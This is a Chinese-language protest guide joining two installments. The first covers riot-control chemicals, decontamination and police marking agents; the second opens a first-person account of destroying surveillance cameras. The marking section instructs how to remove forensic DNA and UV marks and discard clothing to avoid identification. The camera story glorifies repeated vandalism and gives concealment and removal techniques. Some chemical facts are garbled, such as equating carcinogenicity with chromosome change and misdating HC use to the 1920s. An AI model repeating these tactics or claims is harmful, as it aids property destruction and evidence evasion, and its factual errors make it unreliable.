当您在接触化学品并离开冲突区域后，脱掉外衣，将其双层打包，直到有机会清洗。淋浴，用肥皂大力擦洗皮肤。当您洗掉头发上的化学物质时要小心：如果有化学物质进入您的眼睛、生殖器或开放性的伤口，会非常疼。

要处理您的衣服，彻底清洗它们，可能要经过多次循环。之后在没有任何东西的情况下运行洗衣机，以清洗洗衣机本身的内部。最好把衣服晾在外面的晾衣绳上，这样任何残留的影响都可以消散。

催泪瓦斯和COVID-19

「图」

催泪瓦斯让人眼泪鼻涕一起流，而体液是COVID-19感染的有效载体。出于对最大限度地减少致命疾病传播的考虑，一些本来要对接触

化学武器的人进行救助的医务人员开始提倡人们在有能力的情况下，对接触化学武器的人进行自我治疗。如果做不到这一点，在给接触化学武器的人进行治疗时，应该戴上手套、护目镜和自己的口罩。注意尽快清洁和去污。

去污湿巾

「图」

执法部门使用 Sudecon 湿巾来清除胡椒喷雾和催泪瓦斯的污染。医务人员报告说，他们还没有看到并列比较，但相信 Sudecon 湿巾的效果可能至少与皮肤上的肥皂和水一样好。

俄勒冈州波特兰的 Rosehip Medic Collective 公布了一个**DIY**去污湿巾的配方，在2020年夏天，这些湿巾在那里被化学浸泡的街道上被广泛使用。

首先要用：

- 1加仑温水
- 9杯白糖
- 2汤匙柠檬酸

将其充分混合，然后与21盎司的婴儿洗发水混合，轻轻搅拌。将高质量的纸巾浸泡在混合物中，并将它们装入密封袋中，每次几条。这些应该可以保存几天，或者在冰箱里保存几个月。

波特兰的医护人员在制造这些湿巾时，借助了一台小型的滚动机器，使水分分布更均匀；他们希望这能使湿巾保存的时间更长。这也有助于医护人员更快地制造它们。

其他补救措施

「图」

人们对化学武器使用了许多不同的补救措施和治疗方法—— 从牛奶到抗酸剂和草药混合物，应有尽有。根据我们与街头医务人员和医生的对话，建议只用水冲洗眼睛，用肥皂和水清洗皮肤。

📌 提倡用水，因为它很容易获得，而且不太可能引起过敏反应。因为它不恶心 —— 被浸泡在牛奶中被捕可不是什么愉快的经历—— 还

因为水不会像抗酸剂那样留下明显的白色残留物，而抗酸剂在深色皮肤上会更明显，并被用来标记逮捕嫌疑人。

📌 如果您强烈认为需要某种特殊的补救措施来治疗接触化学武器的伤害，这就增加了它们的神秘感和它们可能激发的恐惧。但这些刺激性物质并不那么神秘。把它们洗掉，然后去呼吸新鲜空气。即使您不同意我们的观点，不认为水是最好的，也请不要打断有经验的街头医务人员用水冲洗眼睛。

有一种过时的抗议技术（被称为MOFIBA），它使用矿物油来清洁皮肤上的污染物，但它基本上已经被淘汰了，因为，如果施用错误（无论是由于缺乏经验还是动荡环境中精神过于紧张），它可能弊大于利。这里就不详细介绍了。肥皂和水是清洁皮肤是有效方法。如果您有去污巾的话，去污巾是很好的 —— 可能更好，但不是必须的。

📌 额外的护理有时是有用的，无论是在医学上还是在情感上。正如一位街头医生所说，他们把乳液擦在戴手铐的瘀伤上，因为当有人向您展示警察手铐造成的瘀伤时，他们是在向您展示了他们被攻击和绑架的物证。当您检查这些瘀伤并涂抹乳液时，您就会表明发生在他们身上的事很重要，其后果值得小心对待。乳液很可能有助于缓解瘀伤，但表现出关心的行为在此更加重要。

智利的一些抗议者已经采取了将常温茶（由月桂叶煮沸制成的）喷洒到那些遭受胡椒喷雾的人的眼睛里，似乎很有效。这不是机械地冲洗眼睛，而是用小喷雾瓶，作为事后处理，以减轻灼伤，使人平静。

香港一些示威者携带的喷雾瓶中，每**8.5**盎司的水含有**3**茶匙小苏打。虽然这种做法的功效还没有被直接研究，但它与2003年的一项研究结果一致，即CS分子是不稳定的，而小苏打等碱性液体可能会加速这种分子分解的过程。

日内瓦议定书

「图」

也许您听说过，在战争中使用催泪瓦斯是战争罪，是《日内瓦议定书》所禁止的。这是事实。这不仅仅是催泪瓦斯被意外地卷进了一个不使用化学武器的广泛协议中。它的名字明确地出现在那里。

1925年，在第一次世界大战的化学恐怖之后，38个国家签署了禁止使用化学武器的日内瓦议定书。大多数签署国都认为这包括催泪瓦斯

和化学除草剂，不分青红皂白地大量投放。美国政府决定不同意这种解释。在整个20世纪60年代，美国在越南广泛使用催泪瓦斯和除草剂（橙剂）。

如今，《日内瓦议定书》明确规定，催泪瓦斯是被禁止的。

国家元首不希望任何人向他们的平民投掷化学品 —— 但如果这是维持内部 “稳定” 所需的，他们都会支持。所以，是的，国际法明确禁止在战争中使用催泪瓦斯，将其描述为战争罪。但各国政府都同意，对我们这些公民使用催泪瓦斯是可以的。

化学制剂的种类

「图」

我们在这里回顾一下比较常见的化学制剂的特性和作用。

1、CS毒气

「图」

CS气体（邻-氯代苯亚甲基丙二腈，C10H5ClN2）是最常见的催泪剂。两位美国科学家 Corson 和 Stoughton 是第一个合成它的人，他们以自己的名字命名。直到20世纪50年代，它才被武器化为催泪瓦斯。

CS气体主要存在于催泪瓦斯罐中，但它也出现在喷雾剂中，或掺杂在整个冲击性武器阵列中。

CS毒气被认为比CN毒气的毒性要小得多，后者在使人致残方面更有效。它的毒性可能比OC更大，但致残性更小。

我们知道**CS**会引起心脏和肝脏问题。我们知道强烈接触会造成化学灼伤和疤痕。但还有其他更多的问题。

就直接致命性而言，据推测，在封闭的空间内，CS可能会致死；抗议者将起义期间解放广场上的几起死亡事件归咎于CS。但这一点尚未得到证实。与其他化学制剂相比，CS毒气似乎没有那么大的杀伤力。然而，它的长期影响却令人担忧。

大多数关于CS的毒性报告都是50多年前的，新的研究有些罕见。美国

军方通过研究士兵暴露于CS毒气室前后肺部问题的发生率，越来越多地发现CS毒气与持续性肺部问题之间的联系。

CS气体具有致癌性 —— 也就是说，它可以改变你的染色体。这主要影响到生理期的人。科学界对这些影响的研究一直很缓慢，但大量的故事描述了流产、出血过多、痉挛、血栓以及接触CS气体后的癫痫发作。

CS气体（不同于OC和俄罗斯的催泪瓦斯MPK）一般认为对狗、熊和其他一些哺乳动物的效果不明显。但也有研究表明它能够杀死狗。来自土耳其的轶事报告描述了CS气体杀死了成千上万的鸟类和导致流浪猫失去视觉。

和所有的化学武器一样，警方使用的**CS**并不是“纯”的，而且它掺杂的其他化学品也可能是有毒的。我们认为，液体/喷雾的版本，至少是英国警方经常使用的版本，其中采取了甲基异丁基酮（**MIBK**）作为溶剂。**MIBK**本身是有毒的，可以引起肝脏和肾脏问题。

至少在得克萨斯韦科市的围剿行动中，美国政府在使用CS的同时，还使用了有甜味的溶剂二氯甲烷进行雾化。这东西具有致癌性。

一些抗议者报告说，2009年在匹兹堡举行的20国集团峰会抗议活动中，至少有一些气体闻起来像香蕉糖，很可能是二氯甲烷。CS毒气罐

2、CN毒气

「图」

2-氯苯乙酮是有机化学中常用的一种化学品。当它被用作催泪瓦斯时，它被称为CN气体。它最早是在第一次和第二次世界大战期间作为催泪瓦斯开发的，尽管不知道它是否被使用。

CN 气体可通过任何一些警察武器制造商在市场上买到。它比CS或OC更不常见，但可以在催泪瓦斯罐、喷雾器和整个冲击性武器中找到。

在OC被开发出来之前，CN气体是第一个品牌的自卫喷雾剂“Mace”的有效成分。

📌 CN 气体已导致至少5人因心脏损伤或窒息而死亡。它还造成了接触性皮炎 —— 有时是永久性的！—— 数量不详的警用化学武器意外泄漏到他们身上。如果它能以这种方式伤害警察，它也能伤害我们。

3、CR毒气

「图」

CR气体($C_{13}H_9NO$)是一种催泪瓦斯制剂，它于20世纪60年代在英国研发，因其不仅能伤肺、伤眼，还能让您全身如同被扔进一片荨麻中，而获得“火气”的绰号。据说它的味道很甜。

据称，**CR**气体的药效是**CS**气体的**6–10倍**，虽然我们找到的所有文件都说它比CS“毒性小”，但众所周知，它能够通过窒息或肺水肿（液体充满肺部）致人死亡。

CR气体最糟糕的一点是，它比其他防暴毒剂更难消除污染。它可以在表面持续存在长达**60**天。

我们没有发现任何制造商宣传任何含有CR气体的产品。

波特兰的一些抗议者猜测，他们可能接触到了CR气体，因为他们接触到的一些气体对他们的汗水反应特别强烈。该理论认为，联邦特工厌倦了戴着防毒面具的抗议者，利用了一种即使对戴着面具的人也同样会造成严重痛苦的化学武器。这些联邦特工可能有机会获得CR气体的旧仓库，也可能不需要像地方警察一般通过面向公众的商业渠道购买。

然而，CS气体（或许尤其是过期的CS气体，可能会造成较大的片状物，在皮肤上持续的时间更长）也会与汗液发生反应导致灼烧。化学家和其他人员目前正试图弄清CR或DM是否一直在波特兰被使用。一种神秘的绿色气体被警察用来袭击波特兰的抗议者，部分成分被确认为HC毒气。

4、DM毒气

「图」

DM毒气 (亚当氏毒气、或二苯胺氯胂) 是另一种基本过时的、特别恶毒的催泪剂。德国和美国的化学家在上世纪**10**年代就独立研制了它。它最初是用“蜡烛”燃烧来分散气体的。

DM毒气作为防暴剂特别无效，因为它的效果需要5–10分钟才能显现。 它开始时和其他催泪瓦斯一样，对眼睛和肺部有刺激性，但会发展成恶心、头痛和持续呕吐。

DM毒气在美国最臭名昭著的使用是1932年，4.5万名第一次世界大战的老兵及其盟友在华盛顿举行示威。有目击者说，毒气使两名幼童窒息，不过历史学家一直无法证实这一点。

有人猜测2020年夏天联邦特工在波特兰使用DM毒气，但仍无法证实。有传言描述可能是DM毒气的绿烟，还有报道说一些催泪瓦斯让人呕吐。到目前为止，没有人能够证明也没人能反驳这一点，尽管一部分在波特兰利用的绿色气体已被确认为HC毒气。有毒的DM气体被用来瞄准那些参加抗议的一战退伍军人。

5、胡椒喷雾：OC

「图」

OC（辣椒油素）是我们所知的唯一一种有机提取的防暴剂。它是从辣椒的活性成分辣椒素中提取的。

就防暴剂的表面目的而言，OC似乎是最有效的：它的刺激性和致残性大大高于**CS**或**CN**气体，起效时间也比这两种气体快，而对接触它的人造成的长期不良健康影响显然要小得多。

OC最初是作为胡椒喷雾剂推出的，但越来越多地出现在催泪瓦斯的变体中，出现在催泪瓦斯榴弹中（包括慢速燃烧和瞬间尘埃云），并掺杂在整个冲击性武器的投放中。

为了避免我们把OC描绘得太过美好，必须说明：它也可以致人于死地—— 特别是那些接触到大量**OC**的人，比如当警察用**OC**折磨被限制的被捕者时，这是一个很常见的程序。特别是，它可以通过“严重的急性支气管痉挛”使哮喘病人的肺部与空气隔绝而死亡。

喷雾状的OC通常悬浮在乙二醇中，而乙二醇本身是比较无害的。

6、PAVA

「图」

PAVA (N-香草基壬酰胺、天竺葵酸香兰基酰胺) 是一种(通常)合成形式的OC，在英国比在美国更常见，在英国它是最常见的胡椒喷雾剂。

PAVA 确实是天然出现的，但厂家一般都是合成的。它比OC更热稳定。还没有发现PAVA和OC的毒性有什么特别的区别。

大多数PAVA喷雾剂都悬浮在水乙醇中。在其他情况下，它是悬浮在单丙二醇、乙醇和水的混合物中，称为 PAVA 2。 PAVA 1 是易燃的，而 PAVA 2 不是。两者都不是由我们已知的特别有毒的化学物质制成。

7、MPK

「图」

西方读者不太可能接触到 MPK (N-nonanoylmorpholine)，这是俄罗斯使用的一种催泪瓦斯，很容易使人丧失行动能力。它的毒性不如其他化学药品，所以一般是与CS或CN气体混合使用。据报道，它的毒性大概比与之混合的化学品要低。

8、烟雾弹

「图」

警方使用的许多霰弹只是烟雾弹。警察用烟雾弹来标记、区域，隐藏自己的位置和行动，在人群中造成恐慌，并可能使指向他们的激光发生折射 (我们不确定这是否有效，因为关于激光的信息有很多不一致)。大多数化学武器制造商还提供各种罐装和手榴弹的烟雾弹版本。

许多军用型烟雾弹，称为**HC**或**HCE**榴弹，含有六氯乙烷。六氯乙烷通过皮肤吸收有毒，抑制中枢神经系统；据推测是一种致癌物。20世纪20年代中期，俄勒冈州波特兰市的联邦特工使用了含有HC的榴弹。根据一位研究人员的说法，HC不再在美国生产，而是作为其他化学过程的副产品收获。虽然它有毒，但似乎比警方采用的其他化学武器安全得多。

“Saf-smoke” 榴弹，即国防科技公司生产的款式，被宣传为危险性较低。“Saf-smoke” 和其他竞争品牌的烟雾弹的实际内容是专有的，不能立即提供审查。Saf-smoke榴弹

9、闪光弹

「图」

这些装置被制造商称为 “分散注意力装置” 或 “迷惑装置” ，更常见的

是闪光弹或眩晕榴弹。它们会产生强烈的闪光和巨大的爆炸声以及一定的震荡力。光线（高达800多万坎德拉—— 相当于800万支蜡烛的亮度）使观看者失明约5秒钟，并造成严重的后遗症。其音量约为160–180分贝，比你可能听到的任何枪声都要大；这会使附近的人失聪，扰乱内耳的液体，有时还会引起头晕。

📌 警察偶尔会在希望打得示威者措手不及的时候，将其与警棍或其他冲击性武器一起使用。但归根结底，就像许多警察的战术一样，这些都是恐吓人们服从的方法，而不是直接强迫人们服从的方法。

闪爆榴弹一般由实心钢或铝制成，设计上不会因引爆而破碎。它们中的许多都是可以重新装填的。

有些闪光弹是 “空中警告/信号” 弹药，设计为用于向空中发射，在人群上空爆炸。这些榴弹可以有或没有化学有效载荷；每发子弹的射程不同，从50米到300米不等。也有适用于12口径猎枪的版本。

至少有一家制造商表示，在闪光弹引爆的地点周围应该有一个5–6英尺的清晰区域；但警方仍然经常向人群中投掷、发射和滚动这些弹药。虽然有些闪光弹内装的是橡胶球弹药，但大多数闪光弹的设计不会通过撞击造成伤害。然而，它们可以使人致残或死亡，通常是通过燃烧。据了解，它们也会引起火灾，特别是在室内使用时。闪光弹

收集废旧弹药

「图」

由于对纳税人花钱让警察购买向公民开枪的武器的监督太少，信息也太少，因此，抗议者采取了记录废弹壳的办法，以了解警察发射的是什么东西。收集废旧弹药有助于进行有用的模式分析。一些城市有人愿意为此目的来收集弹药。如果您所在的城市没有人从事这项工作，可以考虑自己去做。

波特兰的警察似乎确信—— 或者说正试图说服人们—— 捡拾废旧弹药 “是一种犯罪”，他们威胁要向任何被发现这样做的人发射更多的弹药。目前还没能弄清楚这到底是什么罪。

警方的弹药经常被发现未爆炸的哑弹。我们不清楚这是因为这些弹药没有正常部署就发射了，还是警方只是不小心把弹药丢在了地上。

📌 当打开一袋废旧弹药时，有可能会受到毒气残留的二次影响。考

虑将它们装入密封袋中双层袋存放。只有在戴着手套和穿戴防护服的情况下，才能在露天环境中处理这些弹药。

标记

「图」

警察有时试图给参加示威或涉嫌犯罪的人打上记号，希望以后能逮捕他们。在某些情况下，警察可能只是利用标记来吓唬我们，让我们相信他们会来找我们，希望限制我们选择在街头做什么。

据了解，警方使用标记的次数远远多于这种标记后来被用来识别人们的身份以便逮捕或在法庭上作为证据的次数。我们希望听到任何有更多关于标记的信息的人，无论是通过经验还是研究。

有报告称，至少在2003年迈阿密反对美洲自由贸易区部长级会议的抗议活动和同一时期的反对伊拉克战争的抗议活动中，警察就使用了胡椒弹做标记。

已经能够确定至少有七种警察给人做标记的手段：

- 恶臭剂
- 暂时性粉末
- 可清洗的涂料
- 难以清洗的涂料
- 紫外线染料
- DNA标记

很可能还使用了彩色的、可见的染料。这些染料往往与其他效果搭配使用，如豆袋弹装上荧光绿粉或**FN303**弹，给冲击性武器添加油漆或染料。我们还收到报告说，波特兰的警察从屋顶上照射绿色激光，将抗议者标记为冲击性武器发射的目标或逮捕的目标。

市场上似乎只有一种恶臭弹，即安全设备国际公司生产的40毫米BIP恶臭弹。它的目的是通过气味来标记人们，同时也能起到震慑人群的作用。这种气味被福克斯新闻形容为“鸡蛋沙拉遇上垃圾”，据说散得相当快。

标记粉、油漆或染料可以通过任何施放化学品的手段来使用。漆弹枪、霰弹枪和多管发射器都有标记弹，我们也听说过警察在水炮上添加油漆或染料的报道。

我们还没有找到标记弹中常见的油漆或染料的具体成分信息。一些制造商将他们的产品分为 “可清洗” 、“难以清洗” 和 “紫外线” ，或者分为 “粉末” 和 “液体” 。例如，Security Devices International, Inc. 声称，他们的液体标记弹会留下 “半永久性污点” ，或 “在目标和衣服上保持24小时” 。该数据表将其内容称为惰性材料的专有混合物。其他公司则没有提供更多信息。

去除印记

「图」

处理衣服上的印记、避免确定您是嫌疑人的最简单的方法就是，把衣服扔掉。您应该根据衣服对您的重要性以及您担心自己会因为什么而被逮捕来做出这个决定。一个法庭案件通常比一件衣服更昂贵。您也可以把一件衣服放在某个地方—— 例如，放在灌木丛或垃圾桶里，然后再回来看看是否能找回它。

被称为可清洗的油漆和粉末应该是最容易清除的。去除衣服上的水性涂料的方法之一是让涂料干透，然后用黄油刀或勺子尽量刮掉；然后用手洗物品；将一半洗涤剂和一半水混合，将其擦入污渍中。然后冲洗，再重复最后一步，直到污渍消失。在最坏的情况下，可以尝试使用少量丙酮（指甲油去除剂）或摩擦酒精 —— 但要注意，这可能会损坏物品。

油性涂料，可能会用到 “难以清洗” 的涂料，可以通过混合橄榄油和洗碗皂，在皮肤上打出泡沫，然后冲洗干净，必要时重复进行。您可以将衣服内侧朝外放在一堆抹布或纸巾上，然后将松节油或另一种油漆稀释剂从污渍后面倒在布料上，用抹布擦拭，就可以去除衣服上的油性油漆。一旦这样不再有油漆溢出来，就把洗洁精搓进污渍里，然后把衣服放在热的肥皂水里过夜。第二天早上彻底冲洗，然后把衣服扔进洗衣机。

紫外线墨水也可以从皮肤和衣服上去除。在某些方面，它可能比其他墨水更容易清洗，因为除了在紫外线下，它不会真正干燥（我们不确定阳光下的紫外线是否会导致它干燥）。大多数UV墨水似乎是酒精溶解的，所以使用摩擦酒精甚至发胶应该有助于从皮肤上去除它。我们看到的其他建议包括用稀释后的漂白水清洗，或者用糖和洗碗液的混合剂擦洗皮肤。还有一些人坚持认为，热肥皂水和大量的磨擦就可以了。您可以尝试用热水反复洗衣服，边洗边用紫外线手电筒检查。

有便宜的小手电筒，有普通紫外线的LED灯。通常，它们被从事门禁

工作的员工用来寻找手印，或者被用来检查被褥是否有臭虫。

DNA标记

「图」

实际上，有两种不同的东西被称为DNA标记。第一种是一种化学武器，通常是一种喷雾剂，其中含有不同金属和其他材料的独特混合物，作为一种化学指纹，可以在以后被识别。这种标记只把DNA这个词作为广告术语。每一个瓦斯罐或每一批瓦斯罐都可能含有自己独特的指纹，尽管我们还不能证实这一点。

另一种风格的DNA标记使用的是DNA的字面意思。这种**DNA**标记系统是用合成的**DNA**标记目标，这种**DNA**可以在衣服或皮肤上存活数周。

这两种DNA标记系统的工作原理是一样的：如果以后通过这些标记的方式确认某人的身份，就可以在法庭上提供具体的证据，将他们与潜在的 “犯罪行为” 联系起来。

我们有充分的理由相信，警方正在使用这两种方法中的一种或两种对付抗议者，尽管很难知道是哪一种，也很难知道他们何时使用。例如，由 Security Devices International 公司生产的40毫米DNA法医标记轮，使用了一种 “水中植物加密标签剂” ，我们相信它指的是实际的合成DNA。

我们所能找到的所有DNA标记材料似乎都是悬浮在UV墨水中进行散播的，尽管不知道它们必须这样做的理由是什么。

截至本文撰写时，还没有听说任何与2020年抗议活动有关的涉及DNA标记的逮捕或法庭案件。大多数事后对抗议者的重罪逮捕似乎不是这种标记，而是直播的镜头和社交媒体帖子 —— 《在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作》。

请注意，这并不意味着DNA标记没有被使用，也不意味着它在未来不会被使用。

在推特上，明尼阿波利斯警方曾公开讨论过使用DNA标记喷雾，尽管他们并没有特别声称对抗议者使用过。他们也有可能是把 “紫外线标记” 和 “DNA标记” 混为一谈了。

去除DNA标记

「图」

由于所有现有的证据都表明，DNA标记是在紫外线染料中进行的，因此似乎可以用类似于去除紫外线染料的方法来去除。大多数制造商声称，标记可持续“数天”或“禁得住数次清洗”，但至少有一家制造商声称可持续“数周”。

一家制造商，Security Devices International（SDI），声称它在人身上能持续**3–5**天，但在衣服上能持续**2–5**年。

来自波特兰的传言称，合成DNA会被紫外线降解。有人建议，任何不想破坏或扔掉的衣服—— 例如，防弹衣 —— 都应该在阳光下放置几个小时，有人建议定期翻动衣服，以确保物品的所有部分都暴露在阳光下。阳光对盔甲的塑料聚合物不利，尤其是软质防弹衣，所以对于某些材料可能不建议这样做。人们还建议使用酒精或双氧水来分解**DNA**标记，但这可能也会使材料降解，特别是在双氧水的情况下。

📌 这一切都取决于摧毁您在特定时间在特定人群中的证据有多重要。根据风险的严重程度，您可能会需要更换所有受影响的衣服，并花相当多的时间清洗和摩擦—— 或者您可以简单地清洗所有东西几次，洗几次澡，然后用紫外线灯检查自己。

SelectaDNA

「图」

也许第一个开发出供警方使用的合成DNA标记的公司是英国的SelectaDNA。SelectaDNA 公司直接向消费者出售DNA标记喷雾、凝胶和其他设备，用于家庭安全。他们还出售杀伤力较小的**.68**口径空气动力武器，一种是步枪，一种是手枪，用于向抗议者发射**DNA**标记弹。这两种枪的有效射程为**30–40**米，使用**8**发弹夹和**20**发一次性**CO2**弹。它们是半自动的，可以在一秒钟内发射**6**发子弹。每个都配备了一个摄像头。目前还不清楚 SelectaDNA 颗粒是否可以被其他.68口径气枪发射。

每包16颗子弹都有唯一的编码。理论上，这意味着警方可以做的不仅仅是争辩“这个人在我们用绿色漆弹射杀所有人的示威活动中，你可以从绿色油漆中看出”—— 他们可以声称“这是我用这16颗子弹中的一颗射中的人，正如我的步枪相机的时间戳上所记录的那样”。

合成的DNA标记可以用紫外线灯在人的身上检测到，或者由经过特殊

训练的狗闻到。据推测，这些狗闻到的是紫外线墨水，而不是DNA本身。SelectaDNA 已经在英国引起争议

A Demonstrator’s Guide to Understanding Riot Munitions

—— 未完待续 ——

原文

让监视摄像头失明：示威参与者指南（11） - iyouport

示威参与者指南

不是战术，但有一些技巧

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》
- 《如何处理枪伤：示威参与者指南（4）》
- 《从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总》
- 《警用武器常见伤害及基本处理方法：示威参与者指南（6）》
- 《充分利用大规模逮捕：示威参与者指南（7）》
- 《了解防弹衣：示威参与者指南（8）》
- 《您需要真正的自己人—如何组成一个亲密团队：示威参与者指南（9）》
- 《了解防暴弹药，以及如何保护自己 ：示威参与者指南（10）》

“老大哥正在看着你”。这曾经是来自荒诞未来的威胁，而如今，这是一个普遍的现实 —— 我们所有人都通过使用智能手机和社交媒体参与其中了。

然而多年来，一股反叛的暗流一直在反击监控，摧毁监控摄像头行动的盛行在社会控制系统中凿出了一个洞。在下面的叙述中，一位匿名研究者发动了一场针对监控基础设施的个人战争，测试了最近从希腊、斯洛文尼亚、到智利和香港的社会反抗运动所采用的一些相同的战术 —— 其中穿插了视频。

本集和前几集的内容有所不同，它并不是具体的战术介绍，虽然包含了一些技巧和思考（黑体字部分）；相反，它旨在展现反抗者打击监视的行动力，希望能由此激发您的创意，开发出适合您本地的、更好的新战术 —— 而您并不需要公开您的创意，只要去实践它在您的行动中，我们所有人都将通过您的成功获得学习。

这篇文章来自美国，以第一人称叙述。

（激光可以让监控摄像头失明吗？是的，可以。）

我，嫌疑人

「图」

自从相机变得足够移动化，可以在未经人们同意的情况下对他们进行拍照，驱赶摄影师就成了人们的一大消遣。从被狗仔队追捕的名人到不满新闻团队侵犯其隐私的平民，再到不想被抓捕的示威者，每个人都讨厌举着相机到处拍摄别人的家伙。

但是，当那个把摄像机推到你脸上的人并不站在那里—— 这里只有摄像机和你的时候呢？即使在我们最无辜的情况下，也很难不觉得自己是个嫌疑人。的确，对于通过摄像头看世界的监视者来说，每个人都是嫌疑人。

这些想法一直在我的脑海中流淌，那天我偶然发现了一个名为 “Camover 2013” 的 Youtube 视频。我看到德国人在他们的城市里跑来跑去，拆卸监控摄像头、砸烂监控摄像头，描画监控摄像头的位置。他们说这是一个新游戏，并挑战其他人加入。

（Camover 2013是一场在全国范围内进行的竞赛，参赛队试图摧毁尽可能多的监视摄像机）

摄像头 1

「图」

几周后，我和一个朋友一起外出，寻找可以悬挂横幅的地点。当我们来到一个可以俯瞰市中心主要地带的屋顶边缘时，我们发现自己并不孤单。同样在建筑的边缘上，树立着一个监视摄像头，电线引入墙上的一个洞。我的朋友对这个摄像头发表了意见，但我转移了话题，决定如果要回来找它，还是不要让他人知道比较好。

每个星期天，我的朋友们都会聚在一起看卡通片。那天我实在是顾不上看节目了，我借口要打扫房间就溜了出去，回到自己的屋子。我换上一件好久以前别人留在那里的旧风衣，戴上黑色的手套，一顶棒球帽，还有一些深蓝色的牛仔裤【就是看起来尽可能普通】。我拿起一个帆布购物袋，把那周早些时候从工作用品柜里拿出来的一些剪线钳放进去。我骑着自行车来到离目标几条街的地方，把车停在那里，然后步行靠近，用头巾蒙住脸，帽子拉得很低，以避开附近的其他监控摄像头。

我爬上消防通道，蹬着空调，最后上了屋顶。我蹑手蹑脚地走到那个摄像头的后面，双手抓住它，把它从支架上拧下来，用剪子剪断了电线。我匆匆把相机和剪子塞进包里，然后撤退到我的自行车停放的地方。

在这之前我从没做过这样的事，直到回了家也一直在激动中。我知道下个周末我还会再来一次，我也知道下次会是哪台摄像机。

（希腊）

摄像头2和3

「图」

我工作的地方就在一家咖啡馆的隔壁，这家咖啡馆在过去几年里生意一直很好。主人做得不错，唯一阻碍他们的是他们位于 Krusty Burger 旁边，那里有很多黑人青年出没，所以他们在外面装了很多监控摄像头。其中一个摄像头直就指向我在后面抽烟的地方。每天它都会盯着我，我抽烟的时候会尽量不看它。

拆掉这个监视摄像头唯一的麻烦在于，这个摄像头和其他摄像头在一起，基本上都是互相监视的。我必须到屋顶去，但我能看到的唯一能上到屋顶的方法就是在我想要拆掉的那个监视摄像头的正下方。我花了整整一个星期的时间在脑海中演练着各种情景；到了行动的时候我几乎觉得自己已经做过很多次了。

我骑上自行车，把车停在距离目标地点一个街区外，然后步行过去。

在到达现场之前，我躲在栅栏后面，在脸上系了一块头巾。即使戴着帽子和头巾，我还是觉得有点不放心 —— 相机支架的扭动和断裂发生得太快了，回想起来我真的不能确定在剪断电线之前有没有不小心对着自己。如果审查录像带的人最后看到的是我的蠢脸呢？

也许这种情况没有发生，但关键是我犯的任何错误都会被记录下来【记录分析经验教训】。

蒙着面，我迅速走近，把咖啡馆后面的一堆旧椅子搬到墙边，然后爬上去。到了屋顶，我迅速绕到另一台指向同一条巷子的摄像机前，剪断了电线，并把它扳倒，然后在第一台摄像机上重复这个过程。然后我又爬下来，把椅子放回原处。

我骑车走了，把摄像头藏起来，换了衣服。然后我去了街对面的酒吧，等着看是不是会有警察来。我想知道那些摄像头上是否装上了警报器。没有人来。

一个人的行动

「图」

我被这种冒险迷住了。我每周都在为这件事进行策划、心理排练。这个过程发生了两个显著的心理转变。

首先，我与监控摄像头之间的互动发生了变化。以前，如果我在转角处看到大多数现代摄像头前面的红色LED灯圈，我可能会想它看起来多么像《2001：太空漫游》中的“哈尔”，然后继续走，在心里默默抱怨工业资本主义对我的隐私越来越多的侵犯。而现在，当我看到那个摄像头时，我立即开始评估移除它的最佳方式。

第二个转变是，这改变了我度过闲暇时间的传统模式。它让我对一周的其他部分有了更深的认识。每当我在工作中进行一项漫不经心的任务时，我的思想就会转移到那一周的行动目标上。这使得当时需要我全神贯注的工作成为了一种烦恼，但另一方面，那些我以前会觉得很烦的事，比如糟糕的司机、愚蠢的顾客，或者被打碎或丢失的财物，都无法在我的思想中获得立足点。我的思想中只有一个任务：摄像头。

摄像头 4、5和6

「图」

冬天开始了，把我推到了室内。和全国许多地方一样，我们度过了一个“极端”的冬天。我望着窗外，听着广播里暗示人们呆在家里，不要开车去任何地方。我期待着温暖的天气回来，这样我就又可以出去玩了。我看了乌克兰起义的视频。看到人们在外面和警察搏斗，用自

制的弹弓把自制的燃烧弹投射到警察布下的路障上。路障是用雪做的 …… 视频显示他们用麻布袋装满了雪，我意识到这是显而易见的事。

这些人在俄罗斯的冬天里日夜奋战，我突然感觉茅塞顿开！我需要推动自己。我突然想到：当民众们哈着热气窝在家里看网剧，警察忙着处理车祸和其他与天气有关的报警电话时，任何愿意冒着风雪出门干点什么的人都可以在这个城市里尽情奔跑。

当天晚上，我穿上保暖内衣，围巾，戴上大手套，在冬衣上又套上一件大风衣，出门去测试我的假设。我想要的两个摄像头并不在主干道上，而是在一些酒吧后面的人流密集的停车场，平时那里的人很多，而且相当暴露。摄像头在一个窗台上，有点高，但也不是太高。我把自行车停在一家餐馆后面，蒙上了面罩，拿了一个牛奶箱，我以为站在箱子上就可以够到它了。我爬上牛奶箱，结果，差一点 ……我操。

（在希腊的摧毁摄像头行动）

我每周细致的计划让我避免了在妥协的位置上不得不即兴发挥的压力。还有第三台比这高得多的摄像机，我在以后还有其他计划。如果有人在那晚看了那台摄像机的录像带，他将会看到以下内容：一个脸上蒙着头巾的人走近那对摄像机，把一个牛奶箱放在下面的地上，拿出一把剪线钳，伸手去够摄像机，没够到，就跳下来，疯狂地四处张望；接着跑遍了巷子里的每一家餐馆和酒吧，最后从其中一家餐馆后面拖出一个运货用的木质托盘，靠在墙上，爬到摄像头前，剪断了电线，并试图把第一台摄像头从支架上扭下来。那个摄像头仍然牢牢地贴在窗台上，我把脚蹬在摄像头下方的墙上，用全部上半身的力量来回扳动，直到摄像头终于松开，把我打得向后飞了出去。我爬起来，疯狂地四处张望，然后继续在另一个摄像头上尝试同样的动作。

在这种时刻，很难衡量时间，但我很确定，此时已经用了几分钟的时间，相比之下，我之前的动作肯定都是几秒钟的事。当我双脚紧贴着墙壁，双手拉扯的时候，我的目光落在了摄像头与支架连接处的一颗小螺丝上。回到第三个摄像头的视角。我停止了来回的拉扯，把脚放回木托盘上，冷静地拧开螺丝，再爬下来，把木托盘放回原处。然后走开了。

几天后，一场暴风雪袭来，让这座城市陷入瘫痪，而我又回到了外面，这一次是在一个曝光度很高的屋顶上，然而，在眼睛所能看到的地方，这里已经是一个被冰层覆盖的鬼城。而我就在那里，扶着一个卫星天线保持平衡，从上面踢着摄像头。我已经对接下来的汛期迫不

及待了。

地点，地点，地点

「图」

